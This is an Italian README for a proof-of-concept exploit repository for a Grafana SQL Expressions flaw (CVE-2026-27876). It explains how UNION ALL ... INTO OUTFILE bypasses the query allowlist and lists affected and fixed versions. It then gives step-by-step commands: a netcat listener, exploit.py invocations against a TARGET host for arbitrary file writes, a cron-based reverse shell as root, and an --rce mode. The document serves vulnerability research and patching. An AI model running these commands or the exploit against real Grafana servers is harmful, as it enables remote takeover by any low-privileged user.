
Grafana SQL Expressions Scrittura Arbitraria di File a RCE
CVSS 9.1 Critico | Scrittura Arbitraria di File | Esecuzione di Codice Remota
https://github.com/user-attachments/assets/c84a4b63-7928-4dba-a069-3bafa036ce56
La funzionalità SQL Expressions di Grafana (toggle sqlExpressions) utilizza un motore SQL in-process (dolthub/go-mysql-server) con una allowlist AST difettosa. Il nodo SetOp (UNION ALL) supera la validazione e il suo walkSubtree() non attraversa il figlio Into — consentendo a INTO OUTFILE di scrivere file arbitrari sul filesystem del server come utente del processo Grafana.
Qualsiasi utente autenticato (ruolo Viewer o superiore) può concatenare questo difetto fino a una RCE completa tramite reverse shell basata su cron.
| Intervallo | Interessate | Corretta |
|---|---|---|
| 11.6.x | 11.6.0 – 11.6.13 | 11.6.14 |
| 12.0.x – 12.1.x | 12.0.0 – 12.1.9 | 12.1.10 |
| 12.2.x | 12.2.0 – 12.2.7 | 12.2.8 |
| 12.3.x | 12.3.0 – 12.3.5 | 12.3.6 |
| 12.4.x | 12.4.0 – 12.4.1 | 12.4.2 |
Richiede che il toggle della funzionalità sqlExpressions sia abilitato.
Due difetti combinati in pkg/expr/sql/:
parser_allow.go: allowedNode() utilizza un return nominato b = true. Il caso *sqlparser.SetOp restituisce true (consentito), e SetOp.walkSubtree() NON attraversa il nodo figlio Into. Ciò significa che UNION ALL ... INTO OUTFILE bypassa completamente l'allowlist.
db.go: Il contesto del motore SQL viene creato senza WithDisableFileWrites(true), quindi INTO OUTFILE scrive su disco.
(SELECT 'line1') UNION ALL (SELECT 'line2') INTO OUTFILE '/percorso/destinazione'
Un singolo (SELECT ...) INTO OUTFILE produce un nodo ParenSelect che VIENE bloccato. Due o più parti SELECT unite con UNION ALL producono un nodo SetOp che bypassa il controllo.
1. Autenticazione (il ruolo Viewer è sufficiente)
2. POST /api/ds/query con datasource __expr__, tipo "sql"
3. UNION ALL INTO OUTFILE scrive lo script della reverse shell in /tmp/
4. Una seconda scrittura inserisce la voce cron in /etc/crontabs/root
5. Cron scatta entro 60 secondi -> reverse shell come root
cd lab/
docker compose up -d
# Attendere che Grafana sia healthy (~15s)
Grafana è in esecuzione su http://localhost:3333 con credenziali admin:admin.
Terminale 1 — Listener:
nc -lvnp 4444
Terminale 2 — Exploit:
cd poc/
python3 exploit.py -t http://localhost:3333 --revshell --lhost 172.28.0.1 --lport 4444
La reverse shell arriva entro 60 secondi.
# Verifica se il target è vulnerabile (nessuna scrittura)
python3 exploit.py -t http://TARGET:3000 --check
# Scrittura di un file arbitrario
python3 exploit.py -t http://TARGET:3000 --write-path /tmp/test.txt --write-content "hello"
# Scrittura di un file locale sul target
python3 exploit.py -t http://TARGET:3000 --write-path /tmp/test.txt --write-file ./local.txt
# RCE tramite provisioning del datasource (nessun cron necessario)
python3 exploit.py -t http://TARGET:3000 --rce
docker exec grafana-cve-2026-27876 rm -f /etc/crontabs/root /tmp/.grafana_rce_*.sh
Per rieseguire l'exploit dopo un'esecuzione precedente, pulire prima — INTO OUTFILE non può sovrascrivere file esistenti.
Commit 0e5d9e01ef31f072fd41626cd744699374e70127 (PR #121514):
parser_allow.go: case *sqlparser.SetOp: return v.GetInto() == nilparser_allow.go: case *sqlparser.Into: return v == nildb.go: mysql.WithDisableFileWrites(true).
├── README.md
├── analysis.md # Analisi completa della causa principale
├── lab/
│ ├── docker-compose.yml # Laboratorio Grafana 12.4.0 (confermato)
│ ├── Dockerfile # Immagine personalizzata con supporto cron
│ ├── entrypoint.sh # Avvia crond + Grafana
│ └── setup.sh # Script di configurazione automatica
└── poc/
├── exploit.py # PoC completo con RCE
└── cvss-justification.md
Solo per ricerca sulla sicurezza autorizzata e test di laboratorio controllati. Non utilizzare contro sistemi senza autorizzazione esplicita.